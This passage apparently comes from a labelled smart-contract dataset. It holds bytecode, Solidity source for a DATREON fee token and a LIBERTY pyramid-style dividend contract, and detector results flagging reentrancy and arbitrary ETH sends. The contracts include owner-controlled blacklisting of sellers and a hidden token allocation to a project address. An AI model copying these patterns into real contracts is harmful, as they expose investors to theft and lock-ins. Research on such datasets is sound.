86019150828901935060005b81811015611f1c5784516001600160a01b031683529383019391830191600101611ef7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f7130841988158c3e3f99690163c566ccd8d979fc9d695257369b78edcab3a8c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,063
0xcbc449448be21822833ee6f542e09403563853ce
/* https://t.me/datreon https://datreon.media/ https://twitter.com/DatreonETH */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DATREON is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"DATREON"; string public constant symbol = unicode"DAT"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 11; uint public _sellFee = 11; uint private _feeRate = 15; uint public _maxBuyTokens; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen); if((_launchedAt + (3 minutes)) > block.timestamp) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 5000000 * 10**9; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external onlyOwner(){ _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf91461058f578063db92dbb6146105a4578063dcb0e0ad146105b9578063dd62ed3e146105d957600080fd5b8063a9059cbb1461051a578063b2289c621461053a578063b515566a1461055a578063c3c8cd801461057a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049857806394b8d8f2146104b657806395d89b41146104d65780639e78fb4f1461050557600080fd5b80636fc3eaec1461042e57806370a0823114610443578063715018a61461046357806373f54a111461047857600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103aa57806349bd5a5e146103ca578063590f897e146104025780636755a4d01461041857600080fd5b806331c2d8471461032557806332d873d8146103455780633bbac5791461035b57806340b9a54b1461039457600080fd5b80631940d020116101b65780631940d020146102b357806323b872dd146102c957806327f3a72a146102e9578063313ce567146102fe57600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630b78f9c01461026c57806318160ddd1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610226604051806040016040528060078152602001662220aa2922a7a760c91b81525081565b60405161023391906116d1565b60405180910390f35b34801561024857600080fd5b5061025c61025736600461174b565b61061f565b6040519015158152602001610233565b34801561027857600080fd5b5061028c610287366004611777565b610635565b005b34801561029a57600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102bf57600080fd5b506102a5600d5481565b3480156102d557600080fd5b5061025c6102e4366004611799565b6106ca565b3480156102f557600080fd5b506102a561071e565b34801561030a57600080fd5b50610313600981565b60405160ff9091168152602001610233565b34801561033157600080fd5b5061028c6103403660046117f0565b61072e565b34801561035157600080fd5b506102a5600e5481565b34801561036757600080fd5b5061025c6103763660046118b5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a057600080fd5b506102a560095481565b3480156103b657600080fd5b5061028c6103c53660046118d2565b6107c4565b3480156103d657600080fd5b506008546103ea906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b34801561040e57600080fd5b506102a5600a5481565b34801561042457600080fd5b506102a5600c5481565b34801561043a57600080fd5b5061028c610857565b34801561044f57600080fd5b506102a561045e3660046118b5565b610864565b34801561046f57600080fd5b5061028c61087f565b34801561048457600080fd5b5061028c6104933660046118b5565b6108f3565b3480156104a457600080fd5b506000546001600160a01b03166103ea565b3480156104c257600080fd5b50600f5461025c9062010000900460ff1681565b3480156104e257600080fd5b506102266040518060400160405280600381526020016211105560ea1b81525081565b34801561051157600080fd5b5061028c61096b565b34801561052657600080fd5b5061025c61053536600461174b565b610b76565b34801561054657600080fd5b506007546103ea906001600160a01b031681565b34801561056657600080fd5b5061028c6105753660046117f0565b610b83565b34801561058657600080fd5b5061028c610c9c565b34801561059b57600080fd5b5061028c610cb2565b3480156105b057600080fd5b506102a5610e71565b3480156105c557600080fd5b5061028c6105d43660046118f9565b610e89565b3480156105e557600080fd5b506102a56105f4366004611916565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061062c338484610f06565b50600192915050565b6000546001600160a01b031633146106685760405162461bcd60e51b815260040161065f9061194f565b60405180910390fd5b6009548210801561067a5750600a5481105b61068357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106d784848461102a565b6001600160a01b038416600090815260036020908152604080832033845290915281205461070690849061199a565b9050610713853383610f06565b506001949350505050565b600061072930610864565b905090565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161065f9061194f565b60005b81518110156107c05760006005600084848151811061077c5761077c6119b1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107b8816119c7565b91505061075b565b5050565b6000546001600160a01b031633146107ee5760405162461bcd60e51b815260040161065f9061194f565b6007546001600160a01b0316336001600160a01b03161461080e57600080fd5b6000811161081b57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476108618161139e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108a95760405162461bcd60e51b815260040161065f9061194f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161065f9061194f565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161084c565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161065f9061194f565b600f5460ff16156109e85760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161065f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7191906119e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae291906119e2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5391906119e2565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062c33848461102a565b6000546001600160a01b03163314610bad5760405162461bcd60e51b815260040161065f9061194f565b60005b81518110156107c05760085482516001600160a01b0390911690839083908110610bdc57610bdc6119b1565b60200260200101516001600160a01b031614158015610c2d575060065482516001600160a01b0390911690839083908110610c1957610c196119b1565b60200260200101516001600160a01b031614155b15610c8a57600160056000848481518110610c4a57610c4a6119b1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c94816119c7565b915050610bb0565b6000610ca730610864565b9050610861816113d8565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161065f9061194f565b600f5460ff1615610cec57600080fd5b600654610d0c9030906001600160a01b0316670de0b6b3a7640000610f06565b6006546001600160a01b031663f305d7194730610d2881610864565b600080610d3d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610da5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dca91906119ff565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e479190611a2d565b50600f805460ff1916600117905542600e556611c37937e08000600c5566470de4df820000600d55565b600854600090610729906001600160a01b0316610864565b6000546001600160a01b03163314610eb35760405162461bcd60e51b815260040161065f9061194f565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161084c565b6001600160a01b038316610f685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065f565b6001600160a01b038216610fc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561105057600080fd5b6001600160a01b0383166110b45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166111165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b600081116111785760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065f565b600080546001600160a01b038581169116148015906111a557506000546001600160a01b03848116911614155b1561133f576008546001600160a01b0385811691161480156111d557506006546001600160a01b03848116911614155b80156111fa57506001600160a01b03831660009081526004602052604090205460ff16155b1561125857600f5460ff1661120e57600080fd5b42600e5460b461121e9190611a4a565b111561125457600c5482111561123357600080fd5b600d5461123f84610864565b6112499084611a4a565b111561125457600080fd5b5060015b600f54610100900460ff161580156112725750600f5460ff165b801561128c57506008546001600160a01b03858116911614155b1561133f57600061129c30610864565b9050801561132857600f5462010000900460ff161561131f57600b54600854606491906112d1906001600160a01b0316610864565b6112db9190611a62565b6112e59190611a81565b81111561131f57600b5460085460649190611308906001600160a01b0316610864565b6113129190611a62565b61131c9190611a81565b90505b611328816113d8565b478015611338576113384761139e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061138157506001600160a01b03841660009081526004602052604090205460ff165b1561138a575060005b611397858585848661154c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c0573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061141c5761141c6119b1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611475573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149991906119e2565b816001815181106114ac576114ac6119b1565b6001600160a01b0392831660209182029290920101526006546114d29130911684610f06565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150b908590600090869030904290600401611aa3565b600060405180830381600087803b15801561152557600080fd5b505af1158015611539573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611558838361156e565b905061156686868684611592565b505050505050565b600080831561158b578215611586575060095461158b565b50600a545b9392505050565b60008061159f848461166f565b6001600160a01b03881660009081526002602052604090205491935091506115c890859061199a565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115f8908390611a4a565b6001600160a01b03861660009081526002602052604090205561161a816116a3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165f91815260200190565b60405180910390a3505050505050565b60008080606461167f8587611a62565b6116899190611a81565b90506000611697828761199a565b96919550909350505050565b306000908152600260205260409020546116be908290611a4a565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116fe578581018301518582016040015282016116e2565b81811115611710576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086157600080fd5b803561174681611726565b919050565b6000806040838503121561175e57600080fd5b823561176981611726565b946020939093013593505050565b6000806040838503121561178a57600080fd5b50508035926020909101359150565b6000806000606084860312156117ae57600080fd5b83356117b981611726565b925060208401356117c981611726565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180357600080fd5b823567ffffffffffffffff8082111561181b57600080fd5b818501915085601f83011261182f57600080fd5b813581811115611841576118416117da565b8060051b604051601f19603f83011681018181108582111715611866576118666117da565b60405291825284820192508381018501918883111561188457600080fd5b938501935b828510156118a95761189a8561173b565b84529385019392850192611889565b98975050505050505050565b6000602082840312156118c757600080fd5b813561158b81611726565b6000602082840312156118e457600080fd5b5035919050565b801515811461086157600080fd5b60006020828403121561190b57600080fd5b813561158b816118eb565b6000806040838503121561192957600080fd5b823561193481611726565b9150602083013561194481611726565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119ac576119ac611984565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119db576119db611984565b5060010190565b6000602082840312156119f457600080fd5b815161158b81611726565b600080600060608486031215611a1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3f57600080fd5b815161158b816118eb565b60008219821115611a5d57611a5d611984565b500190565b6000816000190483118215151615611a7c57611a7c611984565b500290565b600082611a9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af35784516001600160a01b031683529383019391830191600101611ace565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220210b45cc864430b6a25fa74095406d062c76b19501ba464f5d39894949b9988a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,064
0xbA0f3D51ecd2E82fc87A3BcC81d5BEb5688Dd49a
pragma solidity ^0.4.26; /* * * * Totally decentralized! * It’s is owned and controlled by all shareholders! * * [✓] 5% Withdraw fee * [✓] 10% Deposit fee * [✓] 0,0% Share transfer * [✓] 3% Referal link or, if there is none, to support the project. * How this referral system works. * When making a token purchase transaction, a remitter should specify the * referrer’s wallet in the DATA field. * The referrer will receive a 3% reward on the transaction amount. * * https://github.com/lib2020usa/smartcontracts/blob/main/liberty.sol * */ library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract LIBERTY { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "LIBERTY digital share"; string public symbol = "LIBERTY"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; //(100%) uint8 constant internal exitFee_ = 5; //(5%) uint8 constant internal refferalFee_ = 3; //(3%) uint256 constant internal tokenPriceInitial_ = 0.000000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000000001 ether; uint256 constant internal magnitude = 2 ** 64; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping (address => uint256) internal balances; address internal addressSupportProject = 0xf88c0A7d6f3a9c7b607983e2d791c48923982465; address internal addressAdvancementProject = 0xFe7d0be30927E800F0ED2eb8C0939f0FDBec75B5; uint256 internal tokenSupply_ ; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); //5% uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); tokenBalanceLedger_[_customerAddress] -= _amountOfTokens; tokenBalanceLedger_[_toAddress] += _amountOfTokens; emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function totalEthereumBalance() internal view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() internal view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) internal view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); //5% uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); //10% uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); //10% uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); //5% uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); //10% uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); //3% uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if (tokenSupply_ == 0) { tokenSupply_ += 2000000 * 10**18; tokenBalanceLedger_[addressAdvancementProject] += 200000 * 10**18; } if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else //To Support & Advancement Project { _referredBy = addressAdvancementProject; referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); addressSupportProject.transfer(_incomingEthereum*3/100); //3% } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial 